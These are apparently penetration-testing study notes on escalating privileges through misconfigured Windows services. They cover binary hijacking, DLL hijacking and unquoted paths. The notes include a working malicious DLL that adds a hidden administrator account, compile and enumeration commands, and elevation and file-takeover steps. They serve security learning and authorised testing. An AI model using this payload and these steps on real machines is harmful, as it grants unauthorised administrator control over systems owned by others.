2026-06-04
Windows Service Privilege Escalation — Three Vectors
Theme of the day: The three classic ways a misconfigured Windows service hands you privilege escalation, organised by what you need write access to.
> Methodology notes only — generic examples and placeholder names throughout. No specific target, account, or solution details.
The mental model
All three vectors abuse the fact that a service runs its executable as a privileged account (often LocalSystem). They differ only in what you must be able to write:
| Vector | You need write access to | Payload | |---|---|---| | Binary hijacking | the service .exe itself | replace the binary | | DLL hijacking | a directory the app searches for a DLL | drop a malicious DLL | | Unquoted path | a directory earlier in a space-truncated path | drop an exe named after the interpreted segment |
Enumerate services and focus on binaries outside C:\Windows\System32 — those are user-installed, so the developer owns the permissions and more often gets them wrong.
Get-CimInstance -ClassName win32_service | Select Name,State,PathName,StartName | Where-Object {$_.State -like 'Running'}
StartName is the account the service runs as — that's whose context your payload executes in.
1. Service binary hijacking
Check the ACL on a candidate binary:
icacls "C:\Path\To\service.exe"
You're looking for a group your account belongs to with Modify (M) or Full (F):
- Don't fixate on
BUILTIN\Users.NT AUTHORITY\Authenticated Userscovers every logged-on account too —(M)there is just as exploitable. - An inherited
(I)flag does not make a permission safe; it only tells you where the permission came from. The access is still in effect.
Replace the binary (back up the original first), then restart the service — via net stop/start if you can, otherwise a reboot if the start mode is Auto and you hold SeShutdownPrivilege (whoami /priv).
2. DLL hijacking
Default DLL search order puts the application's own directory first. A missing DLL — one the app tries to load but doesn't exist anywhere it looks first — is the cleanest target: there's no legitimate file to overwrite, you just drop yours in slot #1.
Identify missing DLLs with Process Monitor (look for NAME NOT FOUND / PATH NOT FOUND on DLL loads) on a copy of the app, since that needs admin. Then confirm you can write to the app directory and drop a malicious DLL named after the missing one:
#include <stdlib.h>
#include <windows.h>
BOOL APIENTRY DllMain(HANDLE h, DWORD reason, LPVOID r) {
if (reason == DLL_PROCESS_ATTACH) {
system("net user <user> <pass> /add");
system("net localgroup administrators <user> /add");
}
return TRUE;
}
x86_64-w64-mingw32-gcc payload.cpp --shared -o missing.dll
The DLL runs with the privileges of whoever launches the app. If you can't launch it as a privileged user yourself, drop it and wait for one to — don't run it under your own low-priv account or the privileged actions fail.
3. Unquoted service paths
When a service's binary path contains spaces and is not wrapped in quotes, CreateProcess interprets it left-to-right, breaking at each space and appending .exe. A path like C:\Program Files\Foo Bar\Baz Qux\service.exe is tried as:
C:\Program.exe
C:\Program Files\Foo.exe
C:\Program Files\Foo Bar\Baz.exe
C:\Program Files\Foo Bar\Baz Qux\service.exe
Find candidates (run in cmd to dodge PowerShell quote-escaping):
wmic service get name,pathname,startname | findstr /i /v "C:\Windows\\" | findstr /i /v """
icacls each interpreted directory looking for W/M/F for your group. C:\ and C:\Program Files are normally locked down; the software's own subdirectory is the realistic win. Drop an exe named after the interpreted segment at the writable break point — i.e. the text up to the next space, plus .exe (not the real binary's name).
Then start the service:
Start-Service <Name>
net localgroup administrators # verify regardless of any error
> A Start-Service failure ("cannot start service") is expected when the payload is a simple adduser binary — it doesn't accept the leftover path fragments as arguments, so the service controller reports failure after your code already ran. Always verify the outcome instead of trusting the error.
The post-exploitation gotcha: integrity levels
You've created a local admin — but a runas /user:<newadmin> cmd shell is still medium integrity. Group membership is not the same as an active admin token, so you'll hit "Access is denied" reading other users' profiles. Spawn a high-integrity shell via UAC consent (needs an interactive desktop):
powershell Start-Process cmd -Verb RunAs
Then you can read protected paths. No-prompt alternative for a single file from an already-elevated shell: takeown /f <file> then icacls <file> /grant <you>:F.
Cross-cutting lessons
- Automated tools (e.g. PowerUp) are a starting point, not gospel. They surface candidates but their abuse functions can fail on edge cases (paths-as-arguments, etc.). Confirm and exploit manually when they choke.
- Read every ACL principal, not just
BUILTIN\Users—Authenticated Users/Everyonewith write is equally exploitable. - Housekeeping matters in real engagements: back up originals before replacing, restore afterwards, and clean up any accounts you create. Avoid reboots on production without client sign-off.